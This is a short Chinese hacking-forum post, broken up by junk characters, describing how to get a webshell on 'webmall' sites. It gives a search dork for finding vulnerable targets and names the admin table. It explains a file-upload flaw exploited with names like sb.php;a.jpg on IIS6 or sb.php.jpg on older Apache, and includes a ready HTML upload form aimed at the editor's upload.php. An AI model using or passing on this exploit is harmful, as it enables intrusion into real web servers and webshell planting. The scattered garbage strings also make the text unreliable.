关键字:inurl:webmall/detail.php?id) \& {1 S! U( v% E" n9 {! C
1 }& c' r |2 o8 ]! R/ i
数据表:pwn_base_admin
8 B! n+ f: B- Z6 b+ k' ?! q
* G, H& R6 r- l关于拿shell
2 q; M' f- F* m$ ?! O4 R4 p ' y* P; E- K9 Z. v: h2 e- i4 F
首先登录后台admin.php
0 y- D$ l [7 }0 j1 C2 i* K* [ 3 ?4 }7 ~+ i4 \9 T# V
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
8 n; ]5 z: T+ G$ p换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg, @1 x2 Y+ u$ V% K5 \
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的
/ |2 X6 O: ?0 o9 b h) V<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
4 t7 N" }" ~6 i' m<input type="text" name="fileName" value="sb.php;a.jpg" /> p/ r) ]& t+ \
<input type="hidden" name="attachPath" value="news/pics/" />
# e" c# y4 @5 {+ d2 m3 Y* m7 T1 M<input type="file" name="fileData" size="14" /></td> 3 i# U! o: I" l2 r. @: J* I# }. J3 V
<input type="submit" name="button" value="确定" />
8 |, N: h8 j c. W</form>8 e1 c' F% B5 R9 x0 J" z/ i
$ q4 z8 j+ A& s4 g) Y- W
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
% m/ m8 ?8 V& K6 N" F: f& Q+ g p. I5 {
|